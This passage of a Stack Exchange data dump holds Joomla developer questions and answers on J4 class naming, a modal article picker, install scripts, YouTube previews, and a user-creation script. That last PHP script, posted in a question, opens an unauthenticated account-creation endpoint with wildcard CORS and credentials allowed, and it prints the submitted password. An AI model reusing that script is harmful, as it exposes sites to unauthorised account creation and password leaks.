example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Irata\Component\MyComponent\Administrator\Controller\ItemController&#xA;Irata\Component\MyComponent\Administrator\Model\ItemModel&#xA;Irata\Component\MyComponent\Administrator\Table\ItemTable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The view is handled differently in that it adds item type as a subnamespace and classes consist of page format (e.g. Html or Feed) and class type (i.e. &lt;code&gt;View&lt;/code&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Irata\Component\MyComponent\Administrator\View\Item\HtmlView&#xA;Irata\Component\MyComponent\Administrator\View\Item\FeedView&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Form field and rule class name should consist of field/rule type and class type suffix. E.g. if you have a field with &lt;code&gt;type=&amp;quot;Dropdown&amp;quot;&lt;/code&gt;, class name should be &lt;code&gt;DropdownField&lt;/code&gt;. There is no limitation to what namespace to use but you have to register it using &lt;code&gt;addfieldprefix&lt;/code&gt; or &lt;code&gt;addruleprefix&lt;/code&gt; attribute. Also new in J4 are form filters which follow the same convention as fields and rules. Register them using &lt;code&gt;addfilterprefix&lt;/code&gt; attribute.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2021-07-01T17:29:18.440" LastActivityDate="2021-07-01T17:29:18.440" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30314" PostTypeId="1" CreationDate="2021-07-01T11:28:51.267" Score="0" ViewCount="66" Body="&lt;p&gt;Good day.&#xA;There is a custom field in my module&#xA;&lt;strong&gt;mod_expandAjaxReq.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&amp;quot;basic&amp;quot; addfieldpath=&amp;quot;/modules/mod_expandajaxreq/models/fields&amp;quot;&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;request_url&amp;quot; &#xA;           type=&amp;quot;edrop&amp;quot; &#xA;           label=&amp;quot;MOD_EXPANDAJAXREQ_URL&amp;quot; &#xA;           description=&amp;quot;MOD_EXPANDAJAXREQ_URL&amp;quot; &#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;edrop.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('JPATH_PLATFORM') or die;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Form\FormField;&#xA;&#xA;class JFormFieldEdrop extends FormField&#xA;{&#xA;    protected $type = 'edrop';&#xA;&#xA;    protected function getInput()&#xA;    {&#xA;        $document = JFactory::getDocument();&#xA;        $app = JFactory::getApplication();&#xA;        if ($app-&amp;gt;isAdmin()) {&#xA;            $document-&amp;gt;addScript(JURI::root().&amp;quot;modules/mod_expandajaxreq/assets/js/expandAjaxReq.js&amp;quot;);&#xA;            $document-&amp;gt;addStyleSheet(JURI::root().&amp;quot;modules/mod_expandAjaxReq/assets/css/expandAjaxReq.css&amp;quot;);&#xA;        }&#xA;    &#xA;        $html = array();&#xA;&#xA;        $html[] = '         &amp;lt;span class=&amp;quot;input-append&amp;quot;&amp;gt;';&#xA;        $html[] = '             &amp;lt;input type=&amp;quot;url&amp;quot; id=&amp;quot;ear_request_url&amp;quot; value=&amp;quot;&amp;quot; autocomplete=&amp;quot;off&amp;quot; size=&amp;quot;30&amp;quot; &amp;gt;';                                                         &#xA;        $html[] = '             &amp;lt;button id=&amp;quot;ear-btn-article-modal&amp;quot; class=&amp;quot;btn btn-primary&amp;quot; type=&amp;quot;button&amp;quot; title=&amp;quot;Insert link to article&amp;quot; data-toggle=&amp;quot;modal&amp;quot; data-target=&amp;quot;#earModal&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;icon-file-add&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/button&amp;gt;';&#xA;        $html[] = '         &amp;lt;/span&amp;gt;';&#xA;        /*- Modal-*/ &#xA;        $html[] = '&amp;lt;div  id=&amp;quot;earModal&amp;quot; class=&amp;quot;modal fade bd-example-modal-lg&amp;quot; tabindex=&amp;quot;-1&amp;quot; role=&amp;quot;dialog&amp;quot; aria-labelledby=&amp;quot;myLargeModalLabel&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;';&#xA;        $html[] = ' &amp;lt;div class=&amp;quot;modal-dialog modal-lg&amp;quot;&amp;gt;';&#xA;        $html[] = '     &amp;lt;div class=&amp;quot;modal-content&amp;quot;&amp;gt;';&#xA;        $html[] = '         &amp;lt;div class=&amp;quot;modal-header&amp;quot;&amp;gt;';&#xA;        $html[] = '             &amp;lt;h4 class=&amp;quot;modal-title&amp;quot; id=&amp;quot;exampleModalLongTitle&amp;quot;&amp;gt;Modal title&amp;lt;/h4&amp;gt;';&#xA;        $html[] = '             &amp;lt;button type=&amp;quot;button&amp;quot; class=&amp;quot;close&amp;quot; data-dismiss=&amp;quot;modal&amp;quot; aria-label=&amp;quot;Close&amp;quot;&amp;gt;';&#xA;        $html[] = '                 &amp;lt;span aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;times;&amp;lt;/span&amp;gt;';&#xA;        $html[] = '             &amp;lt;/button&amp;gt;';&#xA;        $html[] = '         &amp;lt;/div&amp;gt;';&#xA;        $html[] = '         &amp;lt;div id=&amp;quot;ear-modal-body&amp;quot; class=&amp;quot;modal-body&amp;quot;&amp;gt;';&#xA;        $html[] = '         &amp;lt;/div&amp;gt;';&#xA;        $html[] = '     &amp;lt;/div&amp;gt;';&#xA;        $html[] = ' &amp;lt;/div&amp;gt;';&#xA;        $html[] = '&amp;lt;/div&amp;gt;';&#xA;        return implode( &amp;quot;\n&amp;quot;, $html );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I click on the &lt;strong&gt;ear-btn-article-modal&lt;/strong&gt; button a modal window opens.&#xA;I need:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;to load a list of articles with a filter field and pagination into the modal window:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&amp;quot;ear-modal-body&amp;quot; class=&amp;quot;modal-body&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;when selecting an article, insert a link to the article in the custom field&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&amp;quot;url&amp;quot; id=&amp;quot;ear_request_url&amp;quot; value=&amp;quot;&amp;quot; autocomplete=&amp;quot;off&amp;quot; size=&amp;quot;30&amp;quot; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Please tell me how to implement it?&lt;/p&gt;&#xA;" OwnerUserId="14793" LastEditorUserId="12352" LastEditDate="2021-07-01T16:34:48.477" LastActivityDate="2024-03-18T23:07:05.793" Title="Link to article in module" Tags="|module|content|modal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30315" PostTypeId="2" ParentId="30308" CreationDate="2021-07-01T12:33:04.217" Score="1" Body="&lt;p&gt;I would read the document you have linked to as 10.x being supported as 9.1+ means anything above 9.1 is okay. A look through the code of PostgreSQL doesn't show up any mention of limitation specific to a version and it appears to gracefully give you a 'is not supported' message if it is not able to handle a particular statement.&lt;/p&gt;&#xA;&lt;p&gt;I would expect that you would have some sort of test environment set up with a copy of your site and PostgreSQL 10.x  installed to confirm it for yourself beforehand.&lt;/p&gt;&#xA;&lt;p&gt;Further down the page in your link Joomla 4 has PostgreSQL 11.0 as the minimum level so again I would expect Joomla 3.x to support 9.1 and all of the 10.x levels.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-07-01T12:33:04.217" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30316" PostTypeId="1" CreationDate="2021-07-02T02:51:18.340" Score="2" ViewCount="260" Body="&lt;p&gt;This question was raised on the Joomla General Development Google group list but I was unable to respond successfully (6 replies deleted - I obviously did something wrong) - so I thought I'd raise the questions here and answer them.&lt;/p&gt;&#xA;&lt;p&gt;Q1 - In my install script I like to report to the user in a message what version of the component has just been installed/uninstalled. In J3 I read the version from the manifest file as the best source of truth thus:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$message = 'Installing xbOSM component v.' . $parent-&amp;gt;get('manifest')-&amp;gt;version . ' ' . $parent-&amp;gt;get('manifest')-&amp;gt;creationDate;&#xA;&#xA;Factory::getApplication()-&amp;gt;enqueueMessage($message, 'Info');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Q2 - with some components when installing I need to create a default category ('Uncategorised') for the component in the install script.  Usually I create SQL insert, but is there another way that suits both J3 &amp;amp; J4?&lt;/p&gt;&#xA;" OwnerUserId="1985" LastEditorUserId="12352" LastEditDate="2021-07-02T05:59:54.203" LastActivityDate="2021-07-02T19:21:08.810" Title="Install Script - J3 to J4" Tags="|joomla-3.x|installation|joomla-4|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30317" PostTypeId="2" ParentId="30316" CreationDate="2021-07-02T02:51:18.340" Score="3" Body="&lt;p&gt;Q1 - In J4 I found that this simple function gets what you might want:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Get the version of the component&#xA; * @return version element of manifest&#xA; */&#xA;public static function getComponentVersion()&#xA;{&#xA;    $componentXML = Installer::parseXMLInstallFile(Path::clean(JPATH_ADMINISTRATOR . '/components/com_mycomponent/mycomponent.xml'));&#xA;&#xA;    return $componentXML['version'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Q2 - I use a separate function to create categories based on a passed array:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * The extension name. This should be set in the installer script.&#xA; */&#xA;protected $extension = 'com_mycomponent';&#xA;&#xA;/**&#xA; * method to run after an install/update/uninstall method&#xA; * @return void&#xA; */&#xA;public function postflight($type, $parent)&#xA;{&#xA;    // $parent is the class calling this method&#xA;    // $type is the type of change (install, update or discover_install)&#xA;    // the variable $type was returning lowercase values, it must be uppercase&#xA;    $type = strtoupper($type);&#xA;    echo '&amp;lt;p&amp;gt;' . Text::_('COM_MYCOMONENT_POSTFLIGHT_' . $type . '_TEXT') . '&amp;lt;/p&amp;gt;';&#xA;&#xA;    // setup data for first time install&#xA;    if ($type == &amp;quot;INSTALL&amp;quot;) {&#xA;        &#xA;        // Load categories&#xA;        $cattitles = array(&#xA;            &amp;quot;2020&amp;quot;&#xA;        );&#xA;        $cat_id = $this-&amp;gt;createCategory($cattitles);&#xA;    }&#xA;&#xA;    // Clear Joomla system cache.&#xA;    $cache = Factory::getCache();&#xA;    $cache-&amp;gt;clean('_system');&#xA;}&#xA;&#xA;&#xA;/**&#xA;* Function to create category records&#xA;* @param array category titles&#xA;* @param string category group or type&#xA;* @return void&#xA;*/&#xA;public function createCategory($cat_titles)&#xA;{&#xA;    foreach ($cat_titles as $cat) {&#xA;        $category = Table::getInstance('Category');&#xA;        $category-&amp;gt;extension = $this-&amp;gt;extension;&#xA;        $category-&amp;gt;title = $cat;&#xA;        $category-&amp;gt;description = '';&#xA;        $category-&amp;gt;published = 1;&#xA;        $category-&amp;gt;access = 1;&#xA;        $category-&amp;gt;params = '{&amp;quot;category_layout&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;image&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;image_alt&amp;quot;:&amp;quot;&amp;quot;}';&#xA;        $category-&amp;gt;metadata = '{&amp;quot;page_title&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;author&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;robots&amp;quot;:&amp;quot;&amp;quot;}';&#xA;        $category-&amp;gt;language = '*';&#xA;&#xA;        // Set the location in the tree&#xA;        $category-&amp;gt;setLocation(1, 'last-child');&#xA;&#xA;        // Check to make sure our data is valid&#xA;        if (!$category-&amp;gt;check()) {&#xA;            throw new Exception(500, $category-&amp;gt;getError());&#xA;            return false;&#xA;        }&#xA;&#xA;        // Now store the category&#xA;        if (!$category-&amp;gt;store(true)) {&#xA;            throw new Exception(500, $category-&amp;gt;getError());&#xA;            return false;&#xA;        }&#xA;    }&#xA;&#xA;    // Build the path for our category&#xA;    $category-&amp;gt;rebuildPath($category-&amp;gt;id);&#xA;    echo '&amp;lt;p&amp;gt;' . Text::_('Categories created') . '&amp;lt;/p&amp;gt;';&#xA;    return $category-&amp;gt;id;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1985" LastEditorUserId="12352" LastEditDate="2021-07-02T05:58:45.663" LastActivityDate="2021-07-02T05:58:45.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30318" PostTypeId="2" ParentId="30303" CreationDate="2021-07-02T02:51:43.510" Score="0" Body="&lt;p&gt;I could solved the problem.&#xA;but I dont know how to correct do it&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;iframe width=&amp;quot;560&amp;quot; height=&amp;quot;315&amp;quot; src=&amp;quot;https://www.youtube.com/embed/IDSJ0iMLq_U&amp;quot; title=&amp;quot;YouTube video player&amp;quot; frameborder=&amp;quot;0&amp;quot; allow=&amp;quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&amp;quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have that. It works so bad, okey.&#xA;how ot looks like:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/9DD8T.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9DD8T.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;What I made:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html lang=&amp;quot;ru&amp;quot;&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;        &amp;lt;meta charset=&amp;quot;utf-8&amp;quot;&amp;gt;&#xA;        &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;  &#xA;        &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;page1.css&amp;quot;&amp;gt;&#xA;        &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;video1.css&amp;quot;&amp;gt;&#xA;    &amp;lt;/head&amp;gt;&#xA;&amp;lt;body class=&amp;quot;page&amp;quot;&amp;gt;&#xA;&amp;lt;div class=&amp;quot;video&amp;quot;&amp;gt;&#xA;    &amp;lt;a class=&amp;quot;video__link&amp;quot; href=&amp;quot;https://www.youtube.com/watch?v=IDSJ0iMLq_U&amp;quot;&amp;gt;&#xA;        &amp;lt;picture&amp;gt;&#xA;            &amp;lt;source srcset=&amp;quot;http://i1.ytimg.com/vi_webp/IDSJ0iMLq_U/maxresdefault.webp&amp;quot; type = &amp;quot;image/webp&amp;quot;&amp;gt; &#xA;            &amp;lt;img class =&amp;quot;video__media&amp;quot; src=&amp;quot;http://i1.ytimg.com/vi/IDSJ0iMLq_U/maxresdefault.jpg&amp;quot; alt=&amp;quot;7 step in moving a piano&amp;quot;&amp;gt;&#xA;        &amp;lt;/picture&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;button class=&amp;quot;video__button&amp;quot; aria-label=&amp;quot;play video&amp;quot;&amp;gt;&#xA;        &amp;lt;svg width=&amp;quot;68&amp;quot; height=&amp;quot;48&amp;quot; viewBox=&amp;quot;0 0 68 48&amp;quot;&amp;gt;&amp;lt;path class=&amp;quot;video__button-shape&amp;quot; d=&amp;quot;M66.52,7.74c-0.78-2.93-2.49-5.41-5.42-6.19C55.79,.13,34,0,34,0S12.21,.13,6.9,1.55 C3.97,2.33,2.27,4.81,1.48,7.74C0.06,13.05,0,24,0,24s0.06,10.95,1.48,16.26c0.78,2.93,2.49,5.41,5.42,6.19 C12.21,47.87,34,48,34,48s21.79-0.13,27.1-1.55c2.93-0.78,4.64-3.26,5.42-6.19C67.94,34.95,68,24,68,24S67.94,13.05,66.52,7.74z&amp;quot;&amp;gt;&amp;lt;/path&amp;gt;&amp;lt;path class=&amp;quot;video__button-icon&amp;quot; d=&amp;quot;M 45,24 27,14 27,34&amp;quot;&amp;gt;&amp;lt;/path&amp;gt;&amp;lt;/svg&amp;gt;&#xA;    &amp;lt;/button&amp;gt;    &#xA;&amp;lt;/div&amp;gt; &#xA;&amp;lt;script src=&amp;quot;video1.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;  &#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;what I got:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DmPO7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DmPO7.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;what should I do?&#xA;It works better in My local pc&lt;/p&gt;&#xA;" OwnerUserId="15471" LastEditorUserId="15471" LastEditDate="2021-07-02T03:04:38.640" LastActivityDate="2021-07-02T03:04:38.640" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="30319" PostTypeId="1" AcceptedAnswerId="30321" CreationDate="2021-07-02T07:22:42.257" Score="0" ViewCount="33" Body="&lt;p&gt;How do I show up a YouTube preview picture?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://easy-moving.ca/piano-movers-toronto&quot; rel=&quot;nofollow noreferrer&quot;&gt;Get into My site&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&amp;quot;ru&amp;quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;meta charset=&amp;quot;utf-8&amp;quot;&amp;gt;&#xA;    &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;&#xA;    &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;page.css&amp;quot;&amp;gt;&#xA;    &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;video.css&amp;quot;&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body class=&amp;quot;page&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;video&amp;quot;&amp;gt;&#xA;        &amp;lt;a class=&amp;quot;video__link&amp;quot; href=&amp;quot;http://youtu.be/IDSJ0iMLq_U&amp;quot;&amp;gt;&#xA;            &amp;lt;picture&amp;gt;&#xA;                &amp;lt;source srcset=&amp;quot;http://i1.ytimg.com/vi_webp/IDSJ0iMLq_U/maxresdefault.webp&amp;quot; type=&amp;quot;image/webp&amp;quot;&amp;gt;&#xA;                &amp;lt;img class=&amp;quot;video__media&amp;quot; src=&amp;quot;https://i.ytimg.com/vi/IDSJ0iMLq_U/maxresdefault.jpg&amp;quot; alt=&amp;quot;7 steps in moving a piano from Piano movers Toronto #1.&amp;quot;&amp;gt;&#xA;            &amp;lt;/picture&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;button class=&amp;quot;video__button&amp;quot; aria-label=&amp;quot;Start&amp;quot;&amp;gt;&#xA;            &amp;lt;svg width=&amp;quot;68&amp;quot; height=&amp;quot;48&amp;quot; viewBox=&amp;quot;0 0 68 48&amp;quot;&amp;gt;&amp;lt;path class=&amp;quot;video__button-shape&amp;quot; d=&amp;quot;M66.52,7.74c-0.78-2.93-2.49-5.41-5.42-6.19C55.79,.13,34,0,34,0S12.21,.13,6.9,1.55 C3.97,2.33,2.27,4.81,1.48,7.74C0.06,13.05,0,24,0,24s0.06,10.95,1.48,16.26c0.78,2.93,2.49,5.41,5.42,6.19 C12.21,47.87,34,48,34,48s21.79-0.13,27.1-1.55c2.93-0.78,4.64-3.26,5.42-6.19C67.94,34.95,68,24,68,24S67.94,13.05,66.52,7.74z&amp;quot;&amp;gt;&amp;lt;/path&amp;gt;&amp;lt;path class=&amp;quot;video__button-icon&amp;quot; d=&amp;quot;M 45,24 27,14 27,34&amp;quot;&amp;gt;&amp;lt;/path&amp;gt;&amp;lt;/svg&amp;gt;&#xA;        &amp;lt;/button&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;script src=&amp;quot;video.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I cant show up preview. what am I doing wrong?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/I1erO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I1erO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div&amp;gt;&amp;lt;div class=&amp;quot;video video--enabled&amp;quot;&amp;gt; &amp;lt;a class=&amp;quot;video__link&amp;quot;&amp;gt; &amp;lt;picture&amp;gt; &amp;lt;source srcset=&amp;quot;http://i1.ytimg.com/vi_webp/IDSJ0iMLq_U/maxresdefault.webp&amp;quot; type=&amp;quot;image/webp&amp;quot;&amp;gt; &amp;lt;img class=&amp;quot;video__media&amp;quot; src=&amp;quot;https://i.ytimg.com/vi/IDSJ0iMLq_U/maxresdefault.jpg&amp;quot; alt=&amp;quot;7 steps in moving a piano from Piano movers Toronto #1.&amp;quot;&amp;gt; &amp;lt;/picture&amp;gt; &amp;lt;/a&amp;gt; &amp;lt;button class=&amp;quot;video__button&amp;quot; aria-label=&amp;quot;Start the video&amp;quot;&amp;gt; &amp;lt;svg width=&amp;quot;68&amp;quot; height=&amp;quot;48&amp;quot; viewBox=&amp;quot;0 0 68 48&amp;quot;&amp;gt;&amp;lt;path class=&amp;quot;video__button-shape&amp;quot; d=&amp;quot;M66.52,7.74c-0.78-2.93-2.49-5.41-5.42-6.19C55.79,.13,34,0,34,0S12.21,.13,6.9,1.55 C3.97,2.33,2.27,4.81,1.48,7.74C0.06,13.05,0,24,0,24s0.06,10.95,1.48,16.26c0.78,2.93,2.49,5.41,5.42,6.19 C12.21,47.87,34,48,34,48s21.79-0.13,27.1-1.55c2.93-0.78,4.64-3.26,5.42-6.19C67.94,34.95,68,24,68,24S67.94,13.05,66.52,7.74z&amp;quot;&amp;gt;&amp;lt;/path&amp;gt;&amp;lt;path class=&amp;quot;video__button-icon&amp;quot; d=&amp;quot;M 45,24 27,14 27,34&amp;quot;&amp;gt;&amp;lt;/path&amp;gt;&amp;lt;/svg&amp;gt; &amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15471" LastEditorUserId="15471" LastEditDate="2021-07-02T12:11:57.587" LastActivityDate="2021-07-03T04:18:25.207" Title="How do I show up a YouTube preview pic?" Tags="|joomla-3.6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30320" PostTypeId="1" CreationDate="2021-07-02T07:29:27.093" Score="0" ViewCount="95" Body="&lt;p&gt;I have created a script in Joomla app root folder for creating users which load joomla framework ..&lt;/p&gt;&#xA;&lt;p&gt;The script works fine with static data (username, password ..) but the task that i have consist on sending those data in a post request from an angular app to that script in joomla.&lt;/p&gt;&#xA;&lt;p&gt;The problem is the part in my script using joomla doesn't allow processing the data sent.&#xA;Is there a way to do this ?&lt;/p&gt;&#xA;&lt;p&gt;Here is the script :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;header(&amp;quot;Access-Control-Allow-Origin: *&amp;quot;);&#xA;header('Access-Control-Allow-Credentials: true');&#xA;header(&amp;quot;Access-Control-Allow-Methods: PUT, GET, POST, DELETE&amp;quot;);&#xA;header(&amp;quot;Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept&amp;quot;);&#xA;header(&amp;quot;Content-Type: application/json; charset=UTF-8&amp;quot;);&#xA;&#xA;&#xA;$postdata = file_get_contents(&amp;quot;php://input&amp;quot;);&#xA;&#xA;$request = json_decode($postdata);&#xA;&#xA;$username = $request-&amp;gt;username;&#xA;$name = $request-&amp;gt;ecoleName;&#xA;$email = $request-&amp;gt;email;&#xA;&#xA;$password = $request-&amp;gt;password;&#xA;&#xA;print_r($password);&#xA;&#xA;&#xA;// Set flag that this is a parent file&#xA;define('_JEXEC', 1);&#xA;&#xA;define('JPATH_BASE', dirname(__FILE__));&#xA;&#xA;define('DS', DIRECTORY_SEPARATOR);&#xA;&#xA;require_once(JPATH_BASE . DS . 'includes' . DS . 'defines.php');&#xA;require_once(JPATH_BASE . DS . 'includes' . DS . 'framework.php');&#xA;require_once(JPATH_BASE . DS . 'libraries' . DS . 'joomla' . DS . 'factory.php');&#xA;&#xA;$mainframe = &amp;amp;JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;ini_set('default_charset', 'utf-8');&#xA;include('database_settings.php');&#xA;&#xA;&#xA;if (is_null($email)) {&#xA;    throw new Exception(&amp;quot;Email is required to create new Joomla! user.&amp;quot;);&#xA;}&#xA;$uniqid = uniqid();&#xA;if (is_null($name)) {&#xA;    $name = 'member-' . $uniqid;&#xA;}&#xA;if (is_null($username)) {&#xA;    $username = $name;&#xA;}&#xA;if (is_null($password)) {&#xA;    $password = $uniqid;&#xA;}&#xA;&#xA;try {&#xA;    // Create new user.&#xA;    jimport('joomla.application.component.helper');&#xA;    $params = 'com_users';&#xA;    $usersParams = JComponentHelper::getParams($params);&#xA;    $new_user = JFactory::getUser(0);&#xA;    $config = JComponentHelper::getParams('com_users');&#xA;    $authorize    = &amp;amp;JFactory::getACL();&#xA;    $defaultUserGroup = $config-&amp;gt;get('new_usertype');&#xA;    if (!$defaultUserGroup) {&#xA;        $defaultUserGroup = 'Registered';&#xA;    }&#xA;&#xA;    $jdata = array(&#xA;        &amp;quot;name&amp;quot; =&amp;gt; $name,&#xA;        &amp;quot;username&amp;quot; =&amp;gt; $username,&#xA;        &amp;quot;password&amp;quot; =&amp;gt; $password,&#xA;        &amp;quot;password2&amp;quot; =&amp;gt; $password,&#xA;        &amp;quot;email&amp;quot; =&amp;gt; $email,&#xA;        &amp;quot;sendEmail&amp;quot; =&amp;gt; 0,&#xA;        &amp;quot;groups&amp;quot; =&amp;gt; array($defaultUserGroup)&#xA;    );&#xA;&#xA;    print_r($jdata);&#xA;&#xA;    // Automatically activate user. Comment this out if you use double&#xA;    // opt-in method.&#xA;    $useractivation = $usersParams-&amp;gt;get('useractivation');&#xA;    if ($useractivation === 1) {&#xA;        jimport('joomla.user.helper');&#xA;        $jdata['activation'] = JUtility::getHash(JUserHelper::genRandomPassword());&#xA;        $jdata['block'] = 1; // block the user&#xA;    } else {&#xA;        $jdata['block'] = 0; // don't block the user&#xA;    }&#xA;&#xA;    // Write new user to the Joomla! database.&#xA;    if (!$new_user-&amp;gt;bind($jdata)) {&#xA;        throw new Exception(&amp;quot;Could not bind data. Error: &amp;quot; . $new_user-&amp;gt;getError());&#xA;        return false;&#xA;    }&#xA;&#xA;&#xA;    // Set some initial user values&#xA;    $new_user-&amp;gt;set('id', 0);&#xA;    $new_user-&amp;gt;set('usertype', $defaultUserGroup);&#xA;    $new_user-&amp;gt;set('gid', $authorize-&amp;gt;get_group_id('', $defaultUserGroup, 'ARO'));&#xA;&#xA;    // If user activation is turned on, we need to set the activation information&#xA;    $useractivation = $config-&amp;gt;get('useractivation');&#xA;    if ($useractivation == '1') {&#xA;        jimport('joomla.user.helper');&#xA;        $new_user-&amp;gt;set('activation', JUtility::getHash(JUserHelper::genRandomPassword()));&#xA;        $new_user-&amp;gt;set('block', '1');&#xA;    }&#xA;&#xA;    // If there was an error with registration, set the message and display form&#xA;    if (!$new_user-&amp;gt;save()) {&#xA;        throw new Exception(&amp;quot;Could not save user. Error: &amp;quot; . $new_user-&amp;gt;getError());&#xA;        return false;&#xA;    }&#xA;&#xA;    // Send registration confirmation mail&#xA;    $password = JRequest::getString('password', '', 'post', JREQUEST_ALLOWRAW);&#xA;    $password = preg_replace('/[\x00-\x1F\x7F]/', '', $password); //Disallow control chars in the email&#xA;    UserController::_sendMail($new_user, $password);&#xA;&#xA;    // Everything went fine, set relevant message depending upon user activation state and display message&#xA;    if ($useractivation == 1) {&#xA;        $message  = JText::_('REG_COMPLETE_ACTIVATE');&#xA;    } else {&#xA;        $message = JText::_('REG_COMPLETE');&#xA;    }&#xA;&#xA;    // Finally, you can return the new user Id.&#xA;    $cuser = CFactory::getUser($new_user-&amp;gt;id);&#xA;    return $cuser;&#xA;} catch (Exception $ex) {&#xA;    // consoleLog(&amp;quot;could not create user: &amp;quot; . $ex-&amp;gt;getMessage());&#xA;    throw new Exception($ex-&amp;gt;getMessage(), $ex-&amp;gt;getCode(), $ex-&amp;gt;getPrevious());&#xA;    return false;&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" 